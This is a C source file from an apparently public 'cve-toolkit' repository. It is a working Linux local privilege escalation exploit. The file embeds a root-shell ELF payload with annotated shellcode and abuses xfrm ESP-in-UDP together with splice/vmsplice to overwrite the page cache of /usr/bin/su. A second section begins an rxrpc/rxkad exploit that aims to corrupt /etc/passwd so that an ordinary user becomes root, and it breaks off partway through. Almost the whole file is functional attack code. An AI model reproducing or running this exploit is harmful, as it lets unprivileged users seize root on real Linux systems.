cve-toolkit

CVE helper toolkit
git clone git://git.finwo.net/app/cve-toolkit
Log | Files | Refs | README | LICENSE

dirtyfrag.c (75518B)


      1 #define _GNU_SOURCE
      2 #include <stdio.h>
      3 #include <stdlib.h>
      4 #include <string.h>
      5 #include <stdint.h>
      6 #include <unistd.h>
      7 #include <fcntl.h>
      8 #include <errno.h>
      9 #include <sched.h>
     10 #include <sys/syscall.h>
     11 #include <sys/types.h>
     12 #include <sys/socket.h>
     13 #include <sys/stat.h>
     14 #include <sys/uio.h>
     15 #include <sys/ioctl.h>
     16 #include <sys/wait.h>
     17 #include <netinet/in.h>
     18 #include <arpa/inet.h>
     19 #include <net/if.h>
     20 #include <linux/if.h>
     21 #include <linux/netlink.h>
     22 #include <linux/rtnetlink.h>
     23 #include <linux/xfrm.h>
     24 
     25 #ifndef UDP_ENCAP
     26 #define UDP_ENCAP 100
     27 #endif
     28 #ifndef UDP_ENCAP_ESPINUDP
     29 #define UDP_ENCAP_ESPINUDP 2
     30 #endif
     31 #ifndef SOL_UDP
     32 #define SOL_UDP 17
     33 #endif
     34 
     35 #define ENC_PORT         4500
     36 #define SEQ_VAL          200
     37 #define REPLAY_SEQ       100
     38 #define TARGET_PATH      "/usr/bin/su"
     39 #define SU_BACKUP_PATH      "/tmp/.dirtyfrag_su_backup"
     40 #define PASSWD_BACKUP_PATH  "/tmp/.dirtyfrag_passwd_backup"
     41 #define PATCH_OFFSET     0              /* overwrite whole ELF starting at file[0] */
     42 #define PAYLOAD_LEN      192            /* bytes of shell_elf to write (48 triggers) */
     43 #define ENTRY_OFFSET     0x78           /* shellcode entry inside the new ELF */
     44 
     45 /*
     46  * 192-byte minimal x86_64 root-shell ELF.
     47  *   _start at 0x400078:
     48  *     setgid(0); setuid(0); setgroups(0, NULL);
     49  *     execve("/bin/sh", NULL, ["TERM=xterm", NULL]);
     50  *   PT_LOAD covers 0xb8 bytes (the actual content) at vaddr 0x400000 R+X.
     51  *
     52  *   Setting TERM in the new shell's env silences the
     53  *   "tput: No value for $TERM" / "test: : integer expected" noise
     54  *   /etc/bash.bashrc and friends emit when TERM is unset.
     55  *
     56  * Code (from offset 0x78):
     57  *   31 ff               xor edi, edi
     58  *   31 f6               xor esi, esi
     59  *   31 c0               xor eax, eax
     60  *   b0 6a               mov al, 0x6a              ; setgid
     61  *   0f 05               syscall
     62  *   b0 69               mov al, 0x69              ; setuid
     63  *   0f 05               syscall
     64  *   b0 74               mov al, 0x74              ; setgroups
     65  *   0f 05               syscall
     66  *   6a 00               push 0                    ; envp[1] = NULL
     67  *   48 8d 05 12 00 00 00 lea rax, [rip+0x12]      ; rax = "TERM=xterm"
     68  *   50                  push rax                  ; envp[0]
     69  *   48 89 e2            mov rdx, rsp              ; rdx = envp
     70  *   48 8d 3d 12 00 00 00 lea rdi, [rip+0x12]      ; rdi = "/bin/sh"
     71  *   31 f6               xor esi, esi              ; rsi = NULL (argv)
     72  *   6a 3b 58            push 0x3b ; pop rax       ; rax = 59 (execve)
     73  *   0f 05               syscall                   ; execve("/bin/sh",NULL,envp)
     74  *   "TERM=xterm\0"      (offset 0xa5..0xaf)
     75  *   "/bin/sh\0"         (offset 0xb0..0xb7)
     76  */
     77 static const uint8_t shell_elf[PAYLOAD_LEN] = {
     78 	0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
     79 	0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
     80 	0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
     81 	0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
     82 	0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
     83 	0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
     84 	0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
     85 	0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a,
     86 	0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12,
     87 	0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6,
     88 	0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00,
     89 	0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
     90 };
     91 
     92 extern int g_su_verbose;
     93 int g_su_verbose = 0;
     94 #define SLOG(fmt, ...) do { if (g_su_verbose) fprintf(stderr, "[su] " fmt "\n", ##__VA_ARGS__); } while (0)
     95 
     96 static int write_proc(const char *path, const char *buf)
     97 {
     98 	int fd = open(path, O_WRONLY);
     99 	if (fd < 0) return -1;
    100 	int n = write(fd, buf, strlen(buf));
    101 	close(fd);
    102 	return n;
    103 }
    104 
    105 static void setup_userns_netns(void)
    106 {
    107 	uid_t real_uid = getuid();
    108 	gid_t real_gid = getgid();
    109 	if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
    110 		SLOG("unshare: %s", strerror(errno));
    111 		exit(1);
    112 	}
    113 	write_proc("/proc/self/setgroups", "deny");
    114 	char map[64];
    115 	snprintf(map, sizeof(map), "0 %u 1", real_uid);
    116 	if (write_proc("/proc/self/uid_map", map) < 0) {
    117 		SLOG("uid_map: %s", strerror(errno)); exit(1);
    118 	}
    119 	snprintf(map, sizeof(map), "0 %u 1", real_gid);
    120 	if (write_proc("/proc/self/gid_map", map) < 0) {
    121 		SLOG("gid_map: %s", strerror(errno)); exit(1);
    122 	}
    123 	int s = socket(AF_INET, SOCK_DGRAM, 0);
    124 	if (s < 0) { SLOG("socket: %s", strerror(errno)); exit(1); }
    125 	struct ifreq ifr; memset(&ifr, 0, sizeof(ifr));
    126 	strncpy(ifr.ifr_name, "lo", IFNAMSIZ);
    127 	if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0) { SLOG("SIOCGIFFLAGS: %s", strerror(errno)); exit(1); }
    128 	ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
    129 	if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) { SLOG("SIOCSIFFLAGS: %s", strerror(errno)); exit(1); }
    130 	close(s);
    131 }
    132 
    133 static void put_attr(struct nlmsghdr *nlh, int type, const void *data, size_t len)
    134 {
    135 	struct rtattr *rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len));
    136 	rta->rta_type = type;
    137 	rta->rta_len  = RTA_LENGTH(len);
    138 	memcpy(RTA_DATA(rta), data, len);
    139 	nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len);
    140 }
    141 
    142 static int add_xfrm_sa(uint32_t spi, uint32_t patch_seqhi)
    143 {
    144 	int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM);
    145 	if (sk < 0) return -1;
    146 	struct sockaddr_nl nl = { .nl_family = AF_NETLINK };
    147 	if (bind(sk, (struct sockaddr*)&nl, sizeof(nl)) < 0) { close(sk); return -1; }
    148 
    149 	char buf[4096] = {0};
    150 	struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
    151 	nlh->nlmsg_type  = XFRM_MSG_NEWSA;
    152 	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
    153 	nlh->nlmsg_pid   = getpid();
    154 	nlh->nlmsg_seq   = 1;
    155 	nlh->nlmsg_len   = NLMSG_LENGTH(sizeof(struct xfrm_usersa_info));
    156 
    157 	struct xfrm_usersa_info *xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh);
    158 	xs->id.daddr.a4 = inet_addr("127.0.0.1");
    159 	xs->id.spi      = htonl(spi);
    160 	xs->id.proto    = IPPROTO_ESP;
    161 	xs->saddr.a4    = inet_addr("127.0.0.1");
    162 	xs->family      = AF_INET;
    163 	xs->mode        = XFRM_MODE_TRANSPORT;
    164 	xs->replay_window = 0;
    165 	xs->reqid       = 0x1234;
    166 	xs->flags       = XFRM_STATE_ESN;
    167 	xs->lft.soft_byte_limit   = (uint64_t)-1;
    168 	xs->lft.hard_byte_limit   = (uint64_t)-1;
    169 	xs->lft.soft_packet_limit = (uint64_t)-1;
    170 	xs->lft.hard_packet_limit = (uint64_t)-1;
    171 	xs->sel.family  = AF_INET;
    172 	xs->sel.prefixlen_d = 32;
    173 	xs->sel.prefixlen_s = 32;
    174 	xs->sel.daddr.a4 = inet_addr("127.0.0.1");
    175 	xs->sel.saddr.a4 = inet_addr("127.0.0.1");
    176 
    177 	{
    178 		char alg_buf[sizeof(struct xfrm_algo_auth) + 32];
    179 		memset(alg_buf, 0, sizeof(alg_buf));
    180 		struct xfrm_algo_auth *aa = (struct xfrm_algo_auth *)alg_buf;
    181 		strncpy(aa->alg_name, "hmac(sha256)", sizeof(aa->alg_name)-1);
    182 		aa->alg_key_len   = 32 * 8;
    183 		aa->alg_trunc_len = 128;
    184 		memset(aa->alg_key, 0xAA, 32);
    185 		put_attr(nlh, XFRMA_ALG_AUTH_TRUNC, alg_buf, sizeof(alg_buf));
    186 	}
    187 	{
    188 		char alg_buf[sizeof(struct xfrm_algo) + 16];
    189 		memset(alg_buf, 0, sizeof(alg_buf));
    190 		struct xfrm_algo *ea = (struct xfrm_algo *)alg_buf;
    191 		strncpy(ea->alg_name, "cbc(aes)", sizeof(ea->alg_name)-1);
    192 		ea->alg_key_len = 16 * 8;
    193 		memset(ea->alg_key, 0xBB, 16);
    194 		put_attr(nlh, XFRMA_ALG_CRYPT, alg_buf, sizeof(alg_buf));
    195 	}
    196 	{
    197 		struct xfrm_encap_tmpl enc;
    198 		memset(&enc, 0, sizeof(enc));
    199 		enc.encap_type  = UDP_ENCAP_ESPINUDP;
    200 		enc.encap_sport = htons(ENC_PORT);
    201 		enc.encap_dport = htons(ENC_PORT);
    202 		enc.encap_oa.a4 = 0;
    203 		put_attr(nlh, XFRMA_ENCAP, &enc, sizeof(enc));
    204 	}
    205 	{
    206 		char esn_buf[sizeof(struct xfrm_replay_state_esn) + 4];
    207 		memset(esn_buf, 0, sizeof(esn_buf));
    208 		struct xfrm_replay_state_esn *esn = (struct xfrm_replay_state_esn *)esn_buf;
    209 		esn->bmp_len       = 1;
    210 		esn->oseq          = 0;
    211 		esn->seq           = REPLAY_SEQ;
    212 		esn->oseq_hi       = 0;
    213 		esn->seq_hi        = patch_seqhi;
    214 		esn->replay_window = 32;
    215 		put_attr(nlh, XFRMA_REPLAY_ESN_VAL, esn_buf, sizeof(esn_buf));
    216 	}
    217 
    218 	if (send(sk, nlh, nlh->nlmsg_len, 0) < 0) { close(sk); return -1; }
    219 	char rbuf[4096];
    220 	int n = recv(sk, rbuf, sizeof(rbuf), 0);
    221 	if (n < 0) { close(sk); return -1; }
    222 	struct nlmsghdr *rh = (struct nlmsghdr *)rbuf;
    223 	if (rh->nlmsg_type == NLMSG_ERROR) {
    224 		struct nlmsgerr *e = NLMSG_DATA(rh);
    225 		if (e->error) { close(sk); return -1; }
    226 	}
    227 	close(sk);
    228 	return 0;
    229 }
    230 
    231 static int do_one_write(const char *path, off_t offset, uint32_t spi)
    232 {
    233 	int sk_recv = socket(AF_INET, SOCK_DGRAM, 0);
    234 	if (sk_recv < 0) return -1;
    235 	int one = 1;
    236 	setsockopt(sk_recv, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
    237 	struct sockaddr_in sa_d = {
    238 		.sin_family = AF_INET,
    239 		.sin_port   = htons(ENC_PORT),
    240 		.sin_addr   = { inet_addr("127.0.0.1") },
    241 	};
    242 	if (bind(sk_recv, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) {
    243 		close(sk_recv); return -1;
    244 	}
    245 	int encap = UDP_ENCAP_ESPINUDP;
    246 	if (setsockopt(sk_recv, IPPROTO_UDP, UDP_ENCAP, &encap, sizeof(encap)) < 0) {
    247 		close(sk_recv); return -1;
    248 	}
    249 	int sk_send = socket(AF_INET, SOCK_DGRAM, 0);
    250 	if (sk_send < 0) { close(sk_recv); return -1; }
    251 	if (connect(sk_send, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) {
    252 		close(sk_send); close(sk_recv); return -1;
    253 	}
    254 	int file_fd = open(path, O_RDONLY);
    255 	if (file_fd < 0) { close(sk_send); close(sk_recv); return -1; }
    256 
    257 	int pfd[2];
    258 	if (pipe(pfd) < 0) { close(file_fd); close(sk_send); close(sk_recv); return -1; }
    259 
    260 	uint8_t hdr[24];
    261 	*(uint32_t*)(hdr + 0) = htonl(spi);
    262 	*(uint32_t*)(hdr + 4) = htonl(SEQ_VAL);
    263 	memset(hdr + 8, 0xCC, 16);
    264 
    265 	struct iovec iov_h = { .iov_base = hdr, .iov_len = sizeof(hdr) };
    266 	if (vmsplice(pfd[1], &iov_h, 1, 0) != (ssize_t)sizeof(hdr)) {
    267 		close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1;
    268 	}
    269 	off_t off = offset;
    270 	ssize_t s = splice(file_fd, &off, pfd[1], NULL, 16, SPLICE_F_MOVE);
    271 	if (s != 16) {
    272 		close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1;
    273 	}
    274 	s = splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE);
    275 	/* still proceed regardless of splice rc — kernel may have already
    276 	 * decrypted the page in the time between splice and recv */
    277 	usleep(150 * 1000);
    278 
    279 	close(file_fd); close(pfd[0]); close(pfd[1]);
    280 	close(sk_send); close(sk_recv);
    281 	return s == 40 ? 0 : -1;
    282 }
    283 
    284 static int verify_byte(const char *path, off_t offset, uint8_t want)
    285 {
    286 	int fd = open(path, O_RDONLY);
    287 	if (fd < 0) return -1;
    288 	uint8_t got;
    289 	if (pread(fd, &got, 1, offset) != 1) { close(fd); return -1; }
    290 	close(fd);
    291 	return got == want ? 0 : -1;
    292 }
    293 
    294 /* ------------------------------------------------------------------ */
    295 /* Backup / Revert for /usr/bin/su                                     */
    296 /*                                                                    */
    297 /* A copy of the original su binary is saved before any corruption.    */
    298 /* revert_su() restores it (including drop_caches so the page cache   */
    299 /* is re-read from disk), then removes the backup temp file.           */
    300 /* ------------------------------------------------------------------ */
    301 
    302 static int backup_su(void)
    303 {
    304 	struct stat st;
    305 	if (stat(SU_BACKUP_PATH, &st) == 0) {
    306 		SLOG("backup already exists at %s, skipping", SU_BACKUP_PATH);
    307 		return 0;
    308 	}
    309 	int src = open(TARGET_PATH, O_RDONLY);
    310 	if (src < 0) {
    311 		SLOG("backup_su: open(%s): %s", TARGET_PATH, strerror(errno));
    312 		return -1;
    313 	}
    314 	int dst = open(SU_BACKUP_PATH, O_WRONLY | O_CREAT | O_EXCL, 0600);
    315 	if (dst < 0) {
    316 		SLOG("backup_su: open(%s): %s", SU_BACKUP_PATH, strerror(errno));
    317 		close(src);
    318 		return -1;
    319 	}
    320 	char buf[4096];
    321 	ssize_t n;
    322 	while ((n = read(src, buf, sizeof(buf))) > 0) {
    323 		if (write(dst, buf, n) != n) {
    324 			SLOG("backup_su: write failed: %s", strerror(errno));
    325 			close(src); close(dst);
    326 			unlink(SU_BACKUP_PATH);
    327 			return -1;
    328 		}
    329 	}
    330 	close(src);
    331 	close(dst);
    332 	if (n < 0) {
    333 		SLOG("backup_su: read failed: %s", strerror(errno));
    334 		unlink(SU_BACKUP_PATH);
    335 		return -1;
    336 	}
    337 	SLOG("backed up %s to %s", TARGET_PATH, SU_BACKUP_PATH);
    338 	return 0;
    339 }
    340 
    341 static int revert_su(void)
    342 {
    343 	int src = open(SU_BACKUP_PATH, O_RDONLY);
    344 	if (src < 0) {
    345 		SLOG("revert_su: no backup at %s", SU_BACKUP_PATH);
    346 		return -1;
    347 	}
    348 	int dst = open(TARGET_PATH, O_WRONLY | O_TRUNC);
    349 	if (dst < 0) {
    350 		SLOG("revert_su: open(%s): %s", TARGET_PATH, strerror(errno));
    351 		close(src);
    352 		return -1;
    353 	}
    354 	char buf[4096];
    355 	ssize_t n;
    356 	while ((n = read(src, buf, sizeof(buf))) > 0) {
    357 		if (write(dst, buf, n) != n) {
    358 			SLOG("revert_su: write failed: %s", strerror(errno));
    359 			close(src); close(dst);
    360 			return -1;
    361 		}
    362 	}
    363 	close(src);
    364 	close(dst);
    365 	if (n < 0) {
    366 		SLOG("revert_su: read failed: %s", strerror(errno));
    367 		return -1;
    368 	}
    369 	/* Sync to disk and drop caches so the restored page cache is read */
    370 	int sfd = open(TARGET_PATH, O_RDONLY);
    371 	if (sfd >= 0) { syncfs(sfd); close(sfd); }
    372 	write_proc("/proc/sys/vm/drop_caches", "1");
    373 	unlink(SU_BACKUP_PATH);
    374 	SLOG("%s reverted from backup, page cache flushed", TARGET_PATH);
    375 	return 0;
    376 }
    377 
    378 /* ------------------------------------------------------------------ */
    379 /* Backup / Revert for /etc/passwd                                     */
    380 /*                                                                     */
    381 /* A copy of the original /etc/passwd is saved before any corruption.  */
    382 /* revert_passwd() restores it (including drop_caches so the page      */
    383 /* cache is re-read from disk), then removes the backup temp file.     */
    384 /* ------------------------------------------------------------------ */
    385 
    386 #define PASSWD_TARGET_PATH "/etc/passwd"
    387 
    388 static int backup_passwd(void)
    389 {
    390 	struct stat st;
    391 	if (stat(PASSWD_BACKUP_PATH, &st) == 0) {
    392 		SLOG("passwd backup already exists at %s, skipping", PASSWD_BACKUP_PATH);
    393 		return 0;
    394 	}
    395 	int src = open(PASSWD_TARGET_PATH, O_RDONLY);
    396 	if (src < 0) {
    397 		SLOG("backup_passwd: open(%s): %s", PASSWD_TARGET_PATH, strerror(errno));
    398 		return -1;
    399 	}
    400 	int dst = open(PASSWD_BACKUP_PATH, O_WRONLY | O_CREAT | O_EXCL, 0600);
    401 	if (dst < 0) {
    402 		SLOG("backup_passwd: open(%s): %s", PASSWD_BACKUP_PATH, strerror(errno));
    403 		close(src);
    404 		return -1;
    405 	}
    406 	char buf[4096];
    407 	ssize_t n;
    408 	while ((n = read(src, buf, sizeof(buf))) > 0) {
    409 		if (write(dst, buf, n) != n) {
    410 			SLOG("backup_passwd: write failed: %s", strerror(errno));
    411 			close(src); close(dst);
    412 			unlink(PASSWD_BACKUP_PATH);
    413 			return -1;
    414 		}
    415 	}
    416 	close(src);
    417 	close(dst);
    418 	if (n < 0) {
    419 		SLOG("backup_passwd: read failed: %s", strerror(errno));
    420 		unlink(PASSWD_BACKUP_PATH);
    421 		return -1;
    422 	}
    423 	SLOG("backed up %s to %s", PASSWD_TARGET_PATH, PASSWD_BACKUP_PATH);
    424 	return 0;
    425 }
    426 
    427 static int revert_passwd(void)
    428 {
    429 	int src = open(PASSWD_BACKUP_PATH, O_RDONLY);
    430 	if (src < 0) {
    431 		SLOG("revert_passwd: no backup at %s", PASSWD_BACKUP_PATH);
    432 		return -1;
    433 	}
    434 	int dst = open(PASSWD_TARGET_PATH, O_WRONLY | O_TRUNC);
    435 	if (dst < 0) {
    436 		SLOG("revert_passwd: open(%s): %s", PASSWD_TARGET_PATH, strerror(errno));
    437 		close(src);
    438 		return -1;
    439 	}
    440 	char buf[4096];
    441 	ssize_t n;
    442 	while ((n = read(src, buf, sizeof(buf))) > 0) {
    443 		if (write(dst, buf, n) != n) {
    444 			SLOG("revert_passwd: write failed: %s", strerror(errno));
    445 			close(src); close(dst);
    446 			return -1;
    447 		}
    448 	}
    449 	close(src);
    450 	close(dst);
    451 	if (n < 0) {
    452 		SLOG("revert_passwd: read failed: %s", strerror(errno));
    453 		return -1;
    454 	}
    455 	/* Sync to disk and drop caches so the restored page cache is read */
    456 	int sfd = open(PASSWD_TARGET_PATH, O_RDONLY);
    457 	if (sfd >= 0) { syncfs(sfd); close(sfd); }
    458 	write_proc("/proc/sys/vm/drop_caches", "1");
    459 	unlink(PASSWD_BACKUP_PATH);
    460 	SLOG("%s reverted from backup, page cache flushed", PASSWD_TARGET_PATH);
    461 	return 0;
    462 }
    463 
    464 static int corrupt_su(void)
    465 {
    466 	setup_userns_netns();
    467 	usleep(100 * 1000);
    468 
    469 	/* Install 40 xfrm SAs, one per 4-byte chunk.  Each carries the
    470 	 * desired payload word in its seq_hi field. */
    471 	for (int i = 0; i < PAYLOAD_LEN / 4; i++) {
    472 		uint32_t spi = 0xDEADBE10 + i;
    473 		uint32_t seqhi =
    474 			((uint32_t)shell_elf[i*4 + 0] << 24) |
    475 			((uint32_t)shell_elf[i*4 + 1] << 16) |
    476 			((uint32_t)shell_elf[i*4 + 2] <<  8) |
    477 			((uint32_t)shell_elf[i*4 + 3]);
    478 		if (add_xfrm_sa(spi, seqhi) < 0) {
    479 			SLOG("add_xfrm_sa #%d failed", i);
    480 			return -1;
    481 		}
    482 	}
    483 	SLOG("installed %d xfrm SAs", PAYLOAD_LEN / 4);
    484 
    485 	for (int i = 0; i < PAYLOAD_LEN / 4; i++) {
    486 		uint32_t spi = 0xDEADBE10 + i;
    487 		off_t off = PATCH_OFFSET + i * 4;
    488 		if (do_one_write(TARGET_PATH, off, spi) < 0) {
    489 			SLOG("do_one_write #%d at off=0x%lx failed", i, (long)off);
    490 			return -1;
    491 		}
    492 	}
    493 	SLOG("wrote %d bytes to %s starting at 0x%x",
    494 			PAYLOAD_LEN, TARGET_PATH, PATCH_OFFSET);
    495 	return 0;
    496 }
    497 
    498 int su_lpe_main(int argc, char **argv)
    499 {
    500 	int revert_mode = 0;
    501 	for (int i = 1; i < argc; i++) {
    502 		if (!strcmp(argv[i], "-v") || !strcmp(argv[i], "--verbose"))
    503 			g_su_verbose = 1;
    504 		else if (!strcmp(argv[i], "--corrupt-only"))
    505 			; /* compat: this body always corrupts only */
    506 		else if (!strcmp(argv[i], "--revert"))
    507 			revert_mode = 1;
    508 	}
    509 	if (getenv("DIRTYFRAG_VERBOSE")) g_su_verbose = 1;
    510 
    511 	if (revert_mode)
    512 		return revert_su() == 0 ? 0 : 1;
    513 
    514 	/* Back up the original su binary before any corruption attempt. */
    515 	backup_su();
    516 
    517 	pid_t cpid = fork();
    518 	if (cpid < 0) return 1;
    519 	if (cpid == 0) {
    520 		int rc = corrupt_su();
    521 		_exit(rc == 0 ? 0 : 2);
    522 	}
    523 	int cstatus;
    524 	waitpid(cpid, &cstatus, 0);
    525 	if (!WIFEXITED(cstatus) || WEXITSTATUS(cstatus) != 0) {
    526 		SLOG("corruption stage failed (status=0x%x)", cstatus);
    527 		return 1;
    528 	}
    529 
    530 	/* Sanity check: bytes at the embedded ELF entry (file offset 0x78
    531 	 * after our overwrite) should be 0x31 0xff (xor edi, edi — first
    532 	 * instruction of the new shellcode). */
    533 	if (verify_byte(TARGET_PATH, ENTRY_OFFSET, 0x31) != 0 ||
    534 			verify_byte(TARGET_PATH, ENTRY_OFFSET + 1, 0xff) != 0) {
    535 		SLOG("post-write verify failed (target unchanged)");
    536 		return 1;
    537 	}
    538 	SLOG("/usr/bin/su page-cache patched (entry 0x%x = shellcode)",
    539 			ENTRY_OFFSET);
    540 	return 0;
    541 }
    542 /*
    543  * rxrpc/rxkad LPE — uid=1000 → root
    544  */
    545 
    546 #define _GNU_SOURCE
    547 #include <stdio.h>
    548 #include <stdlib.h>
    549 #include <string.h>
    550 #include <stdint.h>
    551 #include <stdarg.h>
    552 #include <errno.h>
    553 #include <unistd.h>
    554 #include <fcntl.h>
    555 #include <time.h>
    556 #include <sched.h>
    557 #include <poll.h>
    558 #include <signal.h>
    559 #include <sys/wait.h>
    560 #include <sys/socket.h>
    561 #include <sys/syscall.h>
    562 #include <sys/uio.h>
    563 #include <sys/types.h>
    564 #include <sys/mman.h>
    565 #include <sys/stat.h>
    566 #include <sys/ioctl.h>
    567 #include <netinet/in.h>
    568 #include <arpa/inet.h>
    569 #include <linux/rxrpc.h>
    570 #include <linux/keyctl.h>
    571 #include <linux/if_alg.h>
    572 #include <net/if.h>
    573 #include <termios.h>
    574 
    575 #ifndef AF_RXRPC
    576 #define AF_RXRPC 33
    577 #endif
    578 #ifndef PF_RXRPC
    579 #define PF_RXRPC AF_RXRPC
    580 #endif
    581 #ifndef SOL_RXRPC
    582 #define SOL_RXRPC 272
    583 #endif
    584 #ifndef SOL_ALG
    585 #define SOL_ALG 279
    586 #endif
    587 #ifndef AF_ALG
    588 #define AF_ALG 38
    589 #endif
    590 #ifndef MSG_SPLICE_PAGES
    591 #define MSG_SPLICE_PAGES 0x8000000
    592 #endif
    593 
    594 /* ---- rxrpc constants ---- */
    595 #define RXRPC_PACKET_TYPE_DATA          1
    596 #define RXRPC_PACKET_TYPE_ACK           2
    597 #define RXRPC_PACKET_TYPE_ABORT         4
    598 #define RXRPC_PACKET_TYPE_CHALLENGE     6
    599 #define RXRPC_PACKET_TYPE_RESPONSE      7
    600 #define RXRPC_CLIENT_INITIATED          0x01
    601 #define RXRPC_REQUEST_ACK               0x02
    602 #define RXRPC_LAST_PACKET               0x04
    603 #define RXRPC_CHANNELMASK               3
    604 #define RXRPC_CIDSHIFT                  2
    605 
    606 struct rxrpc_wire_header {
    607 	uint32_t epoch;
    608 	uint32_t cid;
    609 	uint32_t callNumber;
    610 	uint32_t seq;
    611 	uint32_t serial;
    612 	uint8_t  type;
    613 	uint8_t  flags;
    614 	uint8_t  userStatus;
    615 	uint8_t  securityIndex;
    616 	uint16_t cksum;        /* big-endian on wire */
    617 	uint16_t serviceId;
    618 } __attribute__((packed));
    619 
    620 struct rxkad_challenge {
    621 	uint32_t version;
    622 	uint32_t nonce;
    623 	uint32_t min_level;
    624 	uint32_t __padding;
    625 } __attribute__((packed));
    626 
    627 /* Attacker-chosen 8-byte session key used for the rxkad token.
    628  * Mutable because the LPE brute-force iterates over keys looking for
    629  * one that decrypts the file's UID field to a "0:" prefix. */
    630 static uint8_t SESSION_KEY[8] = {
    631 	0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08
    632 };
    633 
    634 #define LOG(fmt, ...) fprintf(stderr, "[+] " fmt "\n", ##__VA_ARGS__)
    635 #define WARN(fmt, ...) fprintf(stderr, "[!] " fmt "\n", ##__VA_ARGS__)
    636 #define DBG(fmt, ...) fprintf(stderr, "[.] " fmt "\n", ##__VA_ARGS__)
    637 
    638 /* =================================================================== */
    639 /* unshare + map setup                                                  */
    640 /* =================================================================== */
    641 
    642 static int write_file(const char *path, const char *fmt, ...)
    643 {
    644 	int fd = open(path, O_WRONLY);
    645 	if (fd < 0) return -1;
    646 	char buf[256]; va_list ap; va_start(ap, fmt);
    647 	int n = vsnprintf(buf, sizeof(buf), fmt, ap); va_end(ap);
    648 	int r = (int)write(fd, buf, n); close(fd);
    649 	return r;
    650 }
    651 
    652 static int do_unshare_userns_netns(void)
    653 {
    654 	uid_t real_uid = getuid();
    655 	gid_t real_gid = getgid();
    656 	if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
    657 		WARN("unshare(NEWUSER|NEWNET): %s", strerror(errno));
    658 		return -1;
    659 	}
    660 	LOG("unshare(USER|NET) OK, real uid=%u", real_uid);
    661 	write_file("/proc/self/setgroups", "deny");
    662 	if (write_file("/proc/self/uid_map", "%u %u 1", real_uid, real_uid) < 0) {
    663 		WARN("uid_map: %s", strerror(errno)); return -1;
    664 	}
    665 	if (write_file("/proc/self/gid_map", "%u %u 1", real_gid, real_gid) < 0) {
    666 		WARN("gid_map: %s", strerror(errno)); return -1;
    667 	}
    668 	LOG("uid/gid identity-mapped %u/%u; gained CAP_NET_RAW within netns",
    669 			real_uid, real_gid);
    670 
    671 	/* ifup lo */
    672 	int s = socket(AF_INET, SOCK_DGRAM, 0);
    673 	if (s >= 0) {
    674 		struct ifreq ifr; memset(&ifr, 0, sizeof(ifr));
    675 		strcpy(ifr.ifr_name, "lo");
    676 		if (ioctl(s, SIOCGIFFLAGS, &ifr) == 0) {
    677 			ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
    678 			if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0)
    679 				WARN("SIOCSIFFLAGS lo: %s", strerror(errno));
    680 			else
    681 				LOG("lo brought UP in new netns");
    682 		}
    683 		close(s);
    684 	}
    685 	return 0;
    686 }
    687 
    688 /* =================================================================== */
    689 /* rxrpc key (rxkad v1 token with attacker session key)                 */
    690 /* =================================================================== */
    691 
    692 static long key_add(const char *type, const char *desc,
    693 		const void *payload, size_t plen, int ringid)
    694 {
    695 	return syscall(SYS_add_key, type, desc, payload, plen, ringid);
    696 }
    697 
    698 static int build_rxrpc_v1_token(uint8_t *out, size_t maxlen)
    699 {
    700 	uint8_t *p = out;
    701 	uint32_t now = (uint32_t)time(NULL);
    702 	uint32_t expires = now + 86400;
    703 	*(uint32_t *)p = htonl(0); p += 4;   /* flags */
    704 	const char *cell = "evil";
    705 	uint32_t clen = strlen(cell);
    706 	*(uint32_t *)p = htonl(clen); p += 4;
    707 	memcpy(p, cell, clen);
    708 	uint32_t pad = (4 - (clen & 3)) & 3;
    709 	memset(p + clen, 0, pad);
    710 	p += clen + pad;
    711 	*(uint32_t *)p = htonl(1); p += 4;   /* ntoken */
    712 	uint8_t *toklen_p = p; p += 4;
    713 	uint8_t *tokstart = p;
